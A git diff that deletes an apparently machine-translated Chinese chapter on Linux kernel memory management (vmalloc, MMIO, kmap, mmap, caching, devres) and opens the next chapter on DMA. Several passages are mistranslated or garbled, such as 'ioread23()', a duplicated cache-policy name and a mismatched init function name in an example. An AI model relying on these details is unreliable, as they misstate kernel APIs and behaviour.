-返回的记忆总是来自`HIGH_MEM`区。返回的地址不能转换成物理地址或总线地址,因为不能断言内存是物理连续的。意思是`vmalloc()`返回的内存不能在微处理器外使用(不能轻易用于 DMA 目的)。使用`vmalloc()`为仅存在于软件中的大型(例如,用它来分配一页)序列分配内存是正确的,例如,网络缓冲区。需要注意的是`vmalloc()`比`kmalloc()`或页面分配器函数慢,因为它必须检索内存,建立页面表,甚至重新映射到一个几乎连续的范围内,而`kmalloc()`从来不这样做。 - -在使用这个 vmalloc API 之前,您应该在代码中包含这个头: - -```sh -#include -``` - -以下是 vmalloc 系列原型: - -```sh -void *vmalloc(unsigned long size); -void *vzalloc(unsigned long size); -void vfree( void *addr); -``` - -`size`是需要分配的内存大小。成功分配内存后,它会返回已分配内存块的第一个字节的地址。出现故障时,它会返回一个`NULL`。`vfree`功能,用于释放`vmalloc()`分配的内存。 - -下面是使用`vmalloc`的一个例子: - -```sh -#include -#include -#include - -void *ptr; -static int alloc_init(void) -{ - unsigned long size = 8192; - ptr = vmalloc(size); - if(!ptr) - { - /* handle error */ - printk("memory allocation failed\n"); - return -ENOMEM; - } - else - pr_info("Memory allocated successfully\n"); - return 0; - -} - -static void my_vmalloc_exit(void) /* function called at the time of rmmod */ -{ - vfree(ptr); //free the allocated memory - printk("Memory freed\n"); -} -module_init(my_vmalloc_init); -module_exit(my_vmalloc_exit); - -MODULE_LICENSE("GPL"); -MODULE_AUTHOR("john Madieu, john.madieu@gmail.com"); -``` - -可以使用`/proc/vmallocinfo`显示系统上所有可用的内存。`VMALLOC_START`和`VMALLOC_END`是界定 vmalloc 地址范围的两个符号。它们依赖于架构,并在``中定义。 - -# 幕后的进程内存分配 - -让我们把重点放在较低级别的分配器上,它分配内存页面。内核将报告帧页面(物理页面)的分配,直到真正需要时(当那些页面被实际访问时,通过读取或写入)。这种按需分配被称为**惰性分配**,消除了分配永远不会被使用的页面的风险。 - -每当请求页面时,只更新页面表,在大多数情况下,会创建一个新条目,这意味着只分配虚拟内存。只有当您访问页面时,才会引发名为**页面故障**的中断。该中断有一个专用的处理程序,称为页面错误处理程序,由 MMU 调用,以响应访问虚拟内存的尝试,但没有立即成功。 - -实际上,无论访问类型是什么(读、写、执行),如果页面表中的条目没有设置适当的权限位来允许这种类型的访问,就会引发页面错误中断。对该中断的响应属于以下三种方式之一: - -* **硬故障**:页面没有驻留在任何地方(既不在物理内存中,也不在内存映射文件中),这意味着处理程序无法立即解决故障。处理程序将执行输入/输出操作,以便准备解决故障所需的物理页面,并可能暂停中断的进程,在系统工作解决问题时切换到另一个进程。 -* **软故障**:页面驻留在内存的其他地方(在另一个进程的工作集中)。这意味着故障处理程序可以通过立即将一页物理内存附加到适当的页表条目、调整条目并恢复中断的指令来解决故障。 -* **故障无法解决**:这将导致总线错误或 segv。`SIGSEGV`被发送到故障进程,杀死它(默认行为),除非已经为`SIGSEV`安装了信号处理器来改变默认行为。 - -内存映射通常从没有附加物理页面开始,通过定义虚拟地址范围而没有任何相关的物理内存。由于内核提供了一些标志来确定尝试的访问是否合法,并指定了页面错误处理程序的行为,因此在访问内存时,实际的物理内存将在稍后分配,以响应页面错误异常。因此,用户空间`brk(), mmap()`和类似的分配(虚拟)空间,但物理内存随后被附加。 - -A page fault occurring in the interrupt context causes a **double fault** interrupt, which usually panics the kernel (calling the `panic()` function) . It is the reason why memory allocated in the interrupt context is taken from a memory pool, which does not raise page fault interrupts. If an interrupt occurs when a double fault is being handled, a triple fault exception is generated, causing the CPU to shut down and the OS immediately reboots. This behavior is actually arc-dependent. - -# 写时复制(CoW)案例 - -CoW(与`fork()`一起大量使用)是一个内核特性,它不会为两个或多个进程共享的数据分配多次内存,直到一个进程触及它(写入其中);在这种情况下,为其私有副本分配内存。下面显示了页面错误处理程序如何管理 CoW(单页案例研究): - -* 一个 PTE 被添加到进程页表中,并被标记为不可写。 -* 该映射将在进程 VMA 列表中创建一个 VMA。页面被添加到 VMA,VMA 被标记为可写。 -* 在页面访问时(第一次写入时),故障处理程序会注意到差异,这意味着:**这是写入时拷贝**。然后,它将分配一个物理页面,分配给上面添加的 PTE,更新 PTE 标志,刷新 TLB 条目,并执行`do_wp_page()`功能,该功能可以将内容从共享地址复制到新位置。 - -# 使用输入/输出内存与硬件对话 - -除了执行面向数据内存的操作,还可以执行输入/输出内存事务,与硬件对话。谈到访问设备的寄存器,内核根据系统架构提供了两种可能性: - -* **通过输入输出端口**:这也叫**端口输入输出** ( **PIO** )。寄存器可通过专用总线访问,访问这些寄存器需要特定的指令(一般是汇编程序中的`in`和`out`)。x86 架构就是这种情况。 -* **内存映射输入输出** ( **MMIO** ):这是最常用最常用的方法。该器件的寄存器映射到存储器。只需读写特定地址,即可写入器件的寄存器。ARM 架构就是这种情况。 - -# PIO 设备接入 - -在使用 PIO 的系统上,有两个不同的地址空间,一个用于内存,我们已经讨论过了,另一个用于输入/输出端口,称为端口地址空间,仅限 65,536 个端口。这是一种古老的方式,现在非常罕见。 - -内核导出一些函数(符号)来处理输入输出端口。在访问任何端口区域之前,我们必须首先通知内核,我们正在使用一系列使用`request_region()`函数的端口,该函数将在出错时返回`NULL`。一旦与该地区达成协议,人们必须称之为`release_region()`。这些都在`linux/ioport.h`中声明。他们的原型是: - -```sh -struct resource *request_region(unsigned long start, - unsigned long len, char *name); -void release_region(unsigned long start, unsigned long len); -``` - -这些函数通知内核您打算从`start`开始使用/释放一个区域`len`端口。`name`参数应使用设备名称进行设置。它们的使用不是强制性的。这是一种礼貌,可以防止两个或多个驱动引用相同范围的端口。通过读取`/proc/ioports`文件的内容,可以显示系统上实际使用的端口信息。 - -一旦完成区域预留,就可以使用以下功能访问端口: - -```sh -u8 inb(unsigned long addr) -u16 inw(unsigned long addr) -u32 inl(unsigned long addr) -``` - -它们分别访问(读取)8 位、16 位或 32 位大小(宽)的端口,并具有以下功能: - -```sh -void outb(u8 b, unsigned long addr) -void outw(u16 b, unsigned long addr) -void outl(u32 b, unsigned long addr) -``` - -其将 8 位、16 位或 32 位大小的数据写入`addr`端口。 - -事实上,PIO 使用不同的指令集来访问输入/输出端口或 MMIO 是一个缺点,因为 PIO 需要比正常内存更多的指令来完成相同的任务。例如,1 位测试在 MMIO 只有一条指令,而 PIO 要求在测试该位之前将数据读入寄存器,这是一条以上的指令。 - -# MMIO 设备访问 - -内存映射输入/输出驻留在与内存相同的地址空间。内核使用 RAM 通常使用的地址空间的一部分(实际上是`HIGH_MEM`)来映射设备寄存器,这样,输入/输出设备就发生了,而不是在该地址有真实的内存(即 RAM)。因此,与输入/输出设备通信变得像读写专用于该输入/输出设备的内存地址。 - -像 PIO 一样,还有 MMIO 函数,通知内核我们打算使用一个内存区域。请记住,这只是一个纯粹的预订。这些是`request_mem_region()`和`release_mem_region()`: - -```sh -struct resource* request_mem_region(unsigned long start, - unsigned long len, char *name) -void release_mem_region(unsigned long start, unsigned long len) -``` - -这也是一种礼貌。 - -One can display memory regions actually in use on the system by reading the content of the `/proc/iomem` file. - -在访问内存区域之前(以及在您成功请求之后),必须通过调用特殊的依赖于体系结构的函数(利用 MMU 构建页表,因此不能从中断处理程序中调用)将该区域映射到内核地址空间。它们是`ioremap()`和`iounmap()`,也处理缓存一致性: - -```sh -void __iomem *ioremap(unsigned long phys_add, unsigned long size) -void iounmap(void __iomem *addr) -``` - -`ioremap()`返回一个指向映射区域开始的`__iomem void`指针。不要被这样的指针所诱惑(通过读/写指针来获取/设置值)。内核提供访问内存的功能。这些是: - -```sh -unsigned int ioread8(void __iomem *addr); -unsigned int ioread16(void __iomem *addr); -unsigned int ioread32(void __iomem *addr); -void iowrite8(u8 value, void __iomem *addr); -void iowrite16(u16 value, void __iomem *addr); -void iowrite32(u32 value, void __iomem *addr); -``` - -`ioremap` builds new page tables, just as `vmalloc` does. However, it does not actually allocate any memory but instead, returns a special virtual address that one can use to access the specified physical address range. - -在 32 位系统上,MMIO 窃取物理内存地址空间来为内存映射的输入/输出设备创建映射是一个缺点,因为它阻止系统将窃取的内存用于通用内存。 - -# 我的饼干 - -`__iomem`是稀疏使用的内核 cookie,稀疏是内核用来发现可能的编码错误的语义检查器。为了利用稀疏提供的特性,应该在内核编译时启用它;如果没有,`__iomem` cookie 无论如何都会被忽略。 - -命令行中的`C=1`将为您启用稀疏,但是解析应该首先安装在您的系统上: - -```sh -sudo apt-get install sparse -``` - -例如,构建模块时,请使用: - -```sh -make -C $KPATH M=$PWD C=1 modules -``` - -或者,如果 makefile 写得很好,只需键入: - -```sh -make C=1 -``` - -下面显示了 __iomem 是如何在内核中定义的: - -```sh -#define __iomem __attribute__((noderef, address_space(2))) -``` - -它防止我们有故障的驱动执行输入/输出内存访问。为所有输入/输出访问添加`__iomem`也是一种更加严格的方法。由于即使是输入/输出访问也是通过虚拟内存完成的(在带有内存管理单元的系统上),因此该 cookie 会阻止我们使用绝对物理地址,并要求我们使用`ioremap()`,这将返回一个标记有`__iomem` cookie 的虚拟地址: - -```sh -void __iomem *ioremap(phys_addr_t offset, unsigned long size); -``` - -所以我们可以使用专用功能,比如`ioread23()`、`iowrite32()`。你可能想知道为什么不使用`readl()` / `writel()`功能。这些不推荐使用,因为它们不进行健全性检查,并且比只接受`__iomem`地址的`ioreadX()` / `iowriteX()`家族函数更不安全(不需要`__iomem`)。 - -此外,`noderef`是稀疏使用的属性,以确保程序员不会取消引用`__iomem`指针。即使它可以在某些架构上工作,也不鼓励您这样做。请改用特殊的`ioreadX()` / `iowriteX()`功能。它是可移植的,适用于所有架构。现在让我们看看当取消引用一个`__iomem`指针时,稀疏会如何警告我们: - -```sh -#define BASE_ADDR 0x20E01F8 -void * _addrTX = ioremap(BASE_ADDR, 8); -``` - -首先,稀疏并不高兴,因为类型初始值设定项错误: - -```sh - warning: incorrect type in initializer (different address spaces) - expected void *_addrTX - got void [noderef] * -``` - -或者: - -```sh -u32 __iomem* _addrTX = ioremap(BASE_ADDR, 8); -*_addrTX = 0xAABBCCDD; /* bad. No dereference */ -pr_info("%x\n", *_addrTX); /* bad. No dereference */ -``` - -稀疏依旧不高兴: - -```sh -Warning: dereference of noderef expression -``` - -最后一个例子让稀疏很开心: - -```sh -void __iomem* _addrTX = ioremap(BASE_ADDR, 8); -iowrite32(0xAABBCCDD, _addrTX); -pr_info("%x\n", ioread32(_addrTX)); -``` - -你必须记住的两条规则是: - -* 无论是作为返回类型还是作为参数类型,总是在需要的地方使用`__iomem`,并使用稀疏来确保您这样做了 -* 不要取消引用`__iomem`指针;请改用专用功能 - -# 内存(重新)映射 - -内核内存有时需要重新映射,要么从内核到用户空间,要么从内核到内核空间。常见的用例是将内核内存重新映射到用户空间,但也有其他情况,例如需要访问高内存。 - -# 克马普 - -Linux 内核会将其 896 MB 的地址空间永久映射到较低的 896 MB 物理内存(低内存)。在 4 GB 系统上,内核只剩下 128 MB 来映射剩余的 3.2 GB 物理内存(高内存)。由于永久性的一对一映射,内核可以直接寻址低内存。当涉及到高内存(超过 896 MB 的内存)时,内核必须将所请求的高内存区域映射到其地址空间中,而前面提到的 128 MB 是专门为此保留的。用于执行此技巧的功能,`kmap()`。`kmap()`,用于给定页面映射到内核地址空间。 - -```sh -void *kmap(struct page *page); -``` - -`page`是指向要映射的`struct page`结构的指针。当分配高内存页时,它是不可直接寻址的。`kmap()`是将高内存临时映射到内核地址空间必须调用的函数。映射将持续到调用`kunmap()`为止: - -```sh -void kunmap(struct page *page); -``` - -我说的暂时,是指一旦不再需要,映射就应该被撤销。请记住,128 MB 不足以映射 3.2 GB。最佳编程实践是在不再需要时取消映射高内存映射。这就是为什么每次访问高内存页面时必须输入`kmap()` - `kunmap()`序列的原因。。 - -该功能适用于高内存和低内存。也就是说,如果页面结构驻留在低内存中,那么只返回页面的虚拟地址(因为低内存页面已经有了永久映射)。如果页面属于高内存,将在内核的页面表中创建一个永久映射,并返回地址: - -```sh -void *kmap(struct page *page) -{ - BUG_ON(in_interrupt()); - if (!PageHighMem(page)) - return page_address(page); - - return kmap_high(page); -} -``` - -# 将内核内存映射到用户空间 - -映射物理地址是最有用的功能之一,尤其是在嵌入式系统中。有时您可能希望与用户空间共享部分内核内存。如前所述,在用户空间运行时,CPU 以非特权模式运行。要让一个进程访问内核内存区域,我们需要将该区域重新映射到进程地址空间。 - -# 使用 remap_pfn_range - -`remap_pfn_range()`将物理内存(通过内核逻辑地址)映射到用户空间进程。它对于实现`mmap()`系统调用特别有用。 - -对一个文件(不管是不是设备文件)调用`mmap()`系统调用后,CPU 会切换到特权模式,运行相应的`file_operations.mmap()`内核函数,内核函数又会调用`remap_pfn_range()`。映射区域的内核 PTE 将被导出,并被赋予进程,当然,带有不同的保护标志。该进程的 VMA 列表更新为新的 VMA 条目(具有适当的属性),该条目将使用 PTE 来访问相同的内存。 - -因此,内核只是复制 pte,而不是通过复制来浪费内存。然而,内核和用户空间 PTE 具有不同的属性。`remap_pfn_range()`有以下原型: - -```sh -int remap_pfn_range(struct vm_area_struct *vma, unsigned long addr, - unsigned long pfn, unsigned long size, pgprot_t flags); -``` - -成功的呼叫将返回`0`,失败时返回负错误代码。`remap_pfn_range()`的大多数参数是在调用`mmap()`方法时提供的。 - -* `vma`:这是`file_operations.mmap()`调用情况下内核提供的虚拟内存区域。它对应于用户进程`vma`,映射应该在其中完成。 -* `addr`:这是 VMA 应该开始的用户虚拟地址(`vma->vm_start`),这将导致从`addr`到`addr + size`之间的虚拟地址范围的映射。 -* `pfn`:表示要映射的内核内存区域的页面帧数。它对应于右移`PAGE_SHIFT`位的物理地址。应该考虑`vma`偏移(必须开始映射的对象的偏移)来产生 PFN。由于 VMA 结构的`vm_pgoff`字段包含页数形式的偏移值,因此这正是您需要的(通过`PAGE_SHIFT`左移)来提取字节形式的偏移:`offset = vma->vm_pgoff << PAGE_SHIFT`。最后,`pfn = virt_to_phys(buffer + offset) >> PAGE_SHIFT`。 -* `size`:这是被重映射区域的尺寸,以字节为单位。 -* `prot`:这代表新 VMA 要求的保护。驱动可以修改默认值,但是应该使用在`vma->vm_page_prot`中找到的值作为使用或运算符的框架,因为它的一些位已经由用户空间设置。其中一些标志是: - * `VM_IO`,指定设备的内存映射输入/输出 - * `VM_DONTCOPY`,告诉内核不要在 fork 上复制这个`vma` - * `VM_DONTEXPAND`,防止`vma`随`mremap(2)`膨胀 - * `VM_DONTDUMP`,防止`vma`包含在堆芯转储中 - -One may need to modify this value in order to disable caching if using this with I/O memory (`vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);`). - -# 使用 io_remap_pfn_range - -当涉及到将输入/输出内存映射到用户空间时,所讨论的`remap_pfn_range()`函数不再适用。在这种情况下,合适的函数是`io_remap_pfn_range()`,其参数是相同的。唯一改变的是 PFN 来自哪里。它的原型看起来像: - -```sh -int io_remap_page_range(struct vm_area_struct *vma, - unsigned long virt_addr, - unsigned long phys_addr, - unsigned long size, pgprot_t prot); -``` - -当试图将输入/输出内存映射到用户空间时,没有必要使用`ioremap()`。- `ioremap()`用于内核目的(将输入/输出内存映射到内核地址空间),其中`io_remap_pfn_range`用于用户空间目的。 - -只需将您的真实物理输入/输出地址(通过`PAGE_SHIFT`降档以产生 PFN)直接传递给`io_remap_pfn_range()`。即使有些架构将`io_remap_pfn_range()`定义为`remap_pfn_range()`,但也有其他架构并非如此。出于可移植性的原因,您应该只在 PFN 参数指向内存的情况下使用`remap_pfn_range()`,在`phys_addr`指输入输出内存的情况下使用`io_remap_pfn_range()`。 - -# mmap 文件操作 - -内核`mmap`函数是`struct file_operations`结构的一部分,在用户执行系统调用`mmap(2)`时执行,用于将物理内存映射到用户虚拟地址。内核通过通常的指针解引用将对内存映射区域的任何访问转换为文件操作。甚至可以将设备物理内存直接映射到用户空间(参见`/dev/mem`)。本质上,写入内存就像写入文件一样。这只是一种更方便的称呼方式`write()`。 - -通常,出于安全目的,用户空间进程不能直接访问设备内存。因此,用户空间进程使用`mmap()`系统调用,要求内核将设备映射到调用进程的虚拟地址空间。映射后,用户空间进程可以通过返回的地址直接写入设备内存。 - -mmap 系统调用声明如下: - -```sh - mmap (void *addr, size_t len, int prot, - int flags, int fd, ff_t offset); -``` - -为了支持`mmap(2)`,驱动应该已经定义了 mmap 文件操作(`file_operations.mmap`)。从内核方面来看,驱动文件操作结构(`struct file_operations`结构)中的 mmap 字段具有以下原型: - -```sh -int (*mmap) (struct file *filp, struct vm_area_struct *vma); -``` - -其中: - -* `filp`是指向驱动打开的设备文件的指针,该文件是 fd 参数转换的结果。 -* `vma`由内核分配并作为参数给出。它是指向用户进程的 vma 的指针,映射应该指向这个 VMA。为了理解内核如何创建新的 vma,让我们回忆一下`mmap(2)`系统调用的原型: - -```sh -void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); -``` - -该函数的参数以某种方式影响 vma 的某些字段: - -* `addr`:是映射应该开始的用户空间的虚拟地址。对`vma>vm_start`有影响。如果指定了`NULL`(最便携的方式),自动确定正确的地址。 -* `length`:这规定了映射的长度,间接对`vma->vm_end`有影响。记住,`vma`的大小永远是`PAGE_SIZE`的倍数。换句话说,`PAGE_SIZE`永远是`vma`能拥有的最小尺寸。内核总是会改变`vma`的大小,所以它是`PAGE_SIZE`的倍数。 - -```sh -If length <= PAGE_SIZE - vma->vm_end - vma->vm_start == PAGE_SIZE. -If PAGE_SIZE < length <= (N * PAGE_SIZE) - vma->vm_end - vma->vm_start == (N * PAGE_SIZE) -``` - -* `prot`:影响 VMA 的权限,司机可以在`vma->vm_pro`找到。如前所述,驱动可以更新这些值,但不能更改它们。 -* `flags`:这决定了驾驶员可以在`vma->vm_flags`中找到的映射类型。映射可以是私有的,也可以是共享的。 -* `offset`:指定映射区域内的偏移量,从而打乱`vma->vm_pgoff`的值。 - -# 在内核中实现 mmap - -由于用户空间代码无法访问内核内存,`mmap()`函数的目的是导出一个或多个受保护的内核页表条目(对应于要映射的内存)并复制用户空间页表,删除内核标志保护,并设置允许用户访问与内核相同内存而无需特殊权限的权限标志。 - -编写 mmap 文件操作的步骤如下: - -1. 获取映射偏移量,并检查它是否超出我们的缓冲区大小: - -```sh -unsigned long offset = vma->vm_pgoff << PAGE_SHIFT; -if (offset >= buffer_size) - return -EINVAL; -``` - -2. 检查映射大小是否大于我们的缓冲区大小: - -```sh -unsigned long size = vma->vm_end - vma->vm_start; -if (size > (buffer_size - offset)) - return -EINVAL; -``` - -3. 获取对应于页面中`offset`位置所在的 PFN 的 PFN: - -```sh -unsigned long pfn; -/* we can use page_to_pfn on the struct page structure - * returned by virt_to_page - */ -/* pfn = page_to_pfn (virt_to_page (buffer + offset)); */ - -/* Or make PAGE_SHIFT bits right-shift on the physical - * address returned by virt_to_phys - */ -pfn = virt_to_phys(buffer + offset) >> PAGE_SHIFT; -``` - -4. 设置适当的标志,无论输入/输出内存是否存在: - -5. 使用计算出的 PFN、大小和保护标志调用`remap_pfn_range`: - -```sh -if (remap_pfn_range(vma, vma->vm_start, pfn, size, vma->vm_page_prot)) { - return -EAGAIN; -} -return 0; -``` - -6. 将您的 mmap 功能传递给`struct file_operations`结构: - -```sh -static const struct file_operations my_fops = { - .owner = THIS_MODULE, - [...] - .mmap = my_mmap, - [...] -}; -``` - -# Linux 缓存系统 - -缓存是一个过程,通过这个过程,频繁访问的或新写入的数据被从一个更小更快的内存中取出或写入,称为**缓存**。 - -脏内存是数据备份(例如,文件备份)内存,其内容已被修改(通常在缓存中),但尚未写回磁盘。数据的缓存版本比磁盘上的版本新,这意味着两个版本不同步。将缓存数据写回到磁盘(回存)的机制称为**写回**。我们最终将更新磁盘版本,使两者同步。*干净内存*是文件备份内存,其中的内容与磁盘同步。 - -Linux 延迟写入操作是为了加快读取过程,并且通过仅在必要时写入数据来减少磁盘磨损。一个典型的例子是`dd`命令。它的完全执行并不意味着数据被写入目标设备;这就是为什么`dd`在大多数情况下都被一个`sync`命令所束缚。 - -# 什么是缓存? - -高速缓存是一种临时的、小型的、快速的内存,用于保存较大且通常非常慢的内存中的数据副本,通常放置在一组工作数据集比其他数据集(例如硬盘、内存)被访问的频率高得多的系统中。 - -当第一次读取发生时,假设一个进程从较大且较慢的磁盘请求一些数据,所请求的数据被返回给该进程,并且被访问的数据的副本也被跟踪和缓存。任何后续读取都将从缓存中获取数据。任何数据修改都将应用于缓存,而不是主磁盘。然后,其内容已经被修改并且不同于(比)盘上版本的高速缓存区域将被标记为**脏**。当缓存满时,由于缓存数据被添加,新数据开始驱逐未被访问且闲置时间最长的数据,因此如果再次需要它,它将不得不再次从大/慢存储中取出。 - -# 中央处理器缓存–内存缓存 - -现代 CPU 上有三个高速缓冲存储器,按大小和访问速度排序: - -* 内存最少的 **L1** 缓存(通常在 1k 到 64k 之间)可由中央处理器在单个时钟周期内直接访问,这也使其成为最快的缓存。经常使用的东西在 L1,并留在 L1,直到其他一些东西的使用变得比现有的更频繁,L1 的空间更少。如果是这样的话,它将被移到更大的空间 L2。 -* **L2** 缓存是中间层,与处理器相邻的内存更大(高达几兆字节),可以在少量时钟周期内访问。这适用于将东西从 L2 移动到 L3。 -* **L3** 缓存甚至比 L1 和 L2 还慢,可能比主内存(RAM)快两倍。每个内核都可能有自己的 L1 和 L2 缓存;因此,它们都共享 L3 缓存。大小和速度是每个缓存级别之间变化的主要标准:L1 < L2 < L3。例如,原始存储器访问可能是 100 纳秒,而 L1 高速缓存访问可能是 0.5 纳秒。 - -A real-life example is how a library may put several copies of the most popular titles on display for easy and fast access, but have a large-scale archive with a far greater collection available, at the inconvenience of having to wait for a librarian to go get it for you. The display cases would be analogous to a cache, and the archive would be the large, slow memory. - -中央处理器缓存解决的主要问题是延迟,这间接增加了吞吐量,因为访问未缓存的内存可能需要一段时间。 - -# Linux 页面缓存–磁盘缓存 - -页面缓存,顾名思义,是内存中的页面缓存,包含最近访问的文件块。内存充当驻留在磁盘上的页面的缓存。换句话说,它是文件内容的内核缓存。缓存数据可以是常规文件系统文件、块设备文件或内存映射文件。每当调用`read()`操作时,内核首先检查数据是否驻留在页面缓存中,如果找到就立即返回。否则,将从磁盘读取数据。 - -If a process needs to write data without any caching involved, it has to use the `O_SYNC` flag, which guarantees the `write()` command will not return before all data has been transferred to the disk, or the `O_DIRECT`, flag, which only guarantees that no caching will be used for data transfer. That says, `O_DIRECT` actually depends on filesystem used and is not recommended. - -# 专用缓存(用户空间缓存) - -* **网页浏览器缓存**:将经常访问的网页和图片存储到磁盘上,而不是从网上获取。虽然对在线数据的第一次访问可能会持续数百毫秒以上,但第二次访问将在 10 毫秒内从缓存(在本例中为磁盘)中提取数据。 -* **libc 或用户应用缓存**:内存和磁盘缓存实现会尝试猜测你接下来需要使用什么,而浏览器缓存会保留一个本地副本,以防你需要再次使用。 - -# 为什么延迟将数据写入磁盘? - -这主要有两个原因: - -* 更好地利用磁盘特性;这就是效率 -* 允许应用在写入后立即继续;这就是表演 - -例如,延迟磁盘访问并仅在数据达到一定大小时处理数据可能会提高磁盘性能,并降低 eMMC 损耗平衡(在嵌入式系统上)。每个块写入都被合并到一个连续的写入操作中。此外,写入的数据被缓存,允许进程立即返回,以便任何后续的读取都将从缓存中获取数据,从而产生更具响应性的程序。存储设备更喜欢少量的大型操作,而不是几个小型操作。 - -通过稍后报告永久存储上的写操作,我们可以消除这些磁盘带来的延迟问题,这些问题相对较慢。 - -# 写缓存策略 - -根据缓存策略,可以列举几个好处: - -* 减少数据访问延迟,从而提高应用性能 -* 延长储存寿命 -* 减少系统工作负荷 -* 降低数据丢失的风险 - -缓存算法通常属于以下三种不同策略之一: - -1. **直写** **缓存**,任何写操作都会自动更新内存缓存和永久存储。对于不能容忍数据丢失的应用,以及写入然后频繁重新读取数据的应用(因为数据存储在缓存中,导致低读取延迟),这种策略是首选的。 -2. **回写** **缓存**,类似于直写,不同的是它会立即使缓存无效(这对于系统来说也很昂贵,因为任何写入都会导致自动缓存无效)。主要的后果是,任何后续的读取都将从磁盘获取数据,这很慢,从而增加了延迟。它防止缓存被随后不会被读取的数据淹没。 - -3. Linux 采用了第三种也是最后一种策略,称为**回写缓存**,它可以在每次发生变化时将数据写入缓存,而无需更新主内存中的相应位置。相反,页面缓存中相应的页面被标记为**脏**(该任务由 MMU 使用 TLB 完成),并被添加到所谓的列表中,由内核维护。数据仅在指定的时间间隔或特定条件下写入永久存储器中的相应位置。当页面中的数据与页面缓存中的数据一致时,内核会从列表中删除这些页面,并且它们不会被标记为脏。 -4. 在 Linux 系统上,可以从`Dirty`下的`/proc/meminfo`找到这个: - -```sh - cat /proc/meminfo | grep Dirty -``` - -# 冲洗器螺纹 - -回写缓存推迟页面缓存中的输入/输出数据操作。一组内核线程,称为冲洗线程,负责这一点。当满足以下任何一种情况时,就会发生脏页写回: - -1. 当空闲内存低于指定阈值以重新获得脏页消耗的内存时。 -2. 当脏数据持续到特定时期时。最早的数据被写回磁盘,以确保脏数据不会无限期地保持脏状态。 -3. 当用户进程调用`sync()`和`fsync()`系统调用时。这是一个按需写回。 - -# 设备管理的资源–设备 - -Devres 是一个内核工具,通过自动释放驱动中分配的资源来帮助开发人员。它简化了`init` / `probe` / `open`功能中的错误处理。有了 devres,每个资源分配器都有自己的托管版本,负责为您释放资源。 - -This section heavily relies on the *Documentation/driver-model/devres.txt* file in the kernel source tree, which deals with devres API and lists supported functions along with their descriptions. - -分配有资源管理功能的内存与设备相关联。devres 由与`struct device`相关联的任意大小的存储区域的链表组成。每个 devers 资源分配器将分配的资源插入列表中。该资源保持可用,直到被代码手动释放、设备从系统分离或驱动卸载。每个 devres 条目都与一个`release`函数相关联。有不同的方法来释放一个设备。无论如何,所有 devres 条目都会在驱动分离时释放。在释放时,调用相关的释放函数,然后释放 devres 条目。 - -以下是驱动可用的资源列表: - -* 私有数据结构的内存 -* 内部评级 -* 内存区域分配(`request_mem_region()`) -* 内存区域的输入/输出映射(`ioremap()`) -* 缓冲存储器(可能带有直接存储器存取映射) -* 不同的框架数据结构:时钟、通用输入输出系统、脉宽调制、通用串行总线物理层、调节器、直接存储器存取等等 - -本章中讨论的几乎每个函数都有其托管版本。在大多数情况下,函数托管版本的名称是通过在原始函数名称前加上`devm`获得的。比如`devm_kzalloc()`就是`kzalloc()`的托管版。此外,参数保持不变,但向右移动,因为第一个参数是为其分配资源的结构设备。非托管版本的参数中已经给定了结构设备的函数有一个例外: - -```sh -void *kmalloc(size_t size, gfp_t flags) -void * devm_kmalloc(struct device *dev, size_t size, gfp_t gfp) -``` - -当设备与系统分离或设备的驱动卸载时,该内存会自动释放。如果不再需要,可以用`devm_kfree()`释放内存。 - -老爷子道: - -```sh -ret = request_irq(irq, my_isr, 0, my_name, my_data); -if(ret) { - dev_err(dev, "Failed to register IRQ.\n"); - ret = -ENODEV; - goto failed_register_irq; /* Unroll */ -} -``` - -正确的方式: - -```sh -ret = devm_request_irq(dev, irq, my_isr, 0, my_name, my_data); -if(ret) { - dev_err(dev, "Failed to register IRQ.\n"); - return -ENODEV; /* Automatic unroll */ -} -``` - -# 摘要 - -这一章是最重要的一章。它揭开了内核中内存管理和分配的神秘面纱。每一个记忆的方面都被讨论和详细,以及 dvres 也被解释。简要讨论缓存机制是为了概述在输入/输出操作期间幕后发生了什么。这是介绍和理解下一章的坚实基础,下一章将讨论 DMA。** \ No newline at end of file diff --git a/docs/linux-device-driver-dev/12.md b/docs/linux-device-driver-dev/12.md deleted file mode 100644 index bbb81f96..00000000 --- a/docs/linux-device-driver-dev/12.md +++ /dev/null @@ -1,809 +0,0 @@ -# 十二、直接存储器存取 - -DMA 是计算机系统的一个特性,它允许设备在没有 CPU 干预的情况下访问主系统内存 RAM,这样就可以让设备专心于其他任务。人们通常使用它来加速网络流量,但它支持任何类型的拷贝。 - -DMA 控制器是负责 DMA 管理的外设。人们大多在现代处理器和微控制器中找到它。DMA 是一种用于执行内存读写操作而不窃取 CPU 周期的功能。当需要传输一个数据块时,处理器向 DMA 控制器提供源地址、目的地址和总字节数。然后,DMA 控制器自动将数据从源传输到目标,而不会窃取 CPU 周期。当剩余字节数达到零时,块传输结束。 - -在本章中,我们将涵盖以下主题: - -* 一致和不一致的 DMA 映射,以及一致性问题 -* 直接存储器存取引擎应用编程接口 -* DMA 和 DT 绑定 - -# 设置直接存储器存取映射 - -对于任何类型的 DMA 传输,都需要提供源地址和目的地址,以及要传输的字数。在外设直接存储器存取的情况下,外设的先进先出要么作为源,要么作为目的地。当外设作为源时,存储器位置(内部或外部)作为目的地址。当外设作为目的地时,存储器位置(内部或外部)作为源地址。 - -对于外设 DMA,我们根据传输方向指定源或目的地。换句话说,DMA 传输需要合适的内存映射。这就是我们将在以下章节中讨论的内容。 - -# 高速缓存一致性和直接存储器存取 - -如第 11 章*内核内存管理*中所述,最近访问的内存区域的副本存储在缓存中。这也适用于直接存储器存取存储器。现实情况是,两个独立设备之间共享的内存通常是缓存一致性问题的根源。缓存不一致是一个问题,因为其他设备可能不知道写入设备的更新。另一方面,高速缓存一致性确保每个写操作看起来都是瞬间发生的,因此共享同一存储区域的所有设备看到的变化序列完全相同。 - -一致性问题的一个很好的解释情况在下面的 LDD3 摘录中说明: - -Let us imagine a CPU equipped with a cache and an external memory that can be accessed directly by devices using DMA. When the CPU accesses location X in the memory, the current value will be stored in the cache. Subsequent operations on X will update the cached copy of X, but not the external memory version of X, assuming a write-back cache. If the cache is not flushed to the memory before the next time a device tries to access X, the device will receive a stale value of X. Similarly, if the cached copy of X is not invalidated when a device writes a new value to the memory, then the CPU will operate on a stale value of X. - -解决这个问题实际上有两种方法: - -* 基于硬件的解决方案。这样的系统是**相干系统**。 -* 基于软件的解决方案,其中操作系统负责确保缓存一致性。人们称这样的系统为**非相干系统**。 - -# 直接存储器存取映射 - -任何合适的 DMA 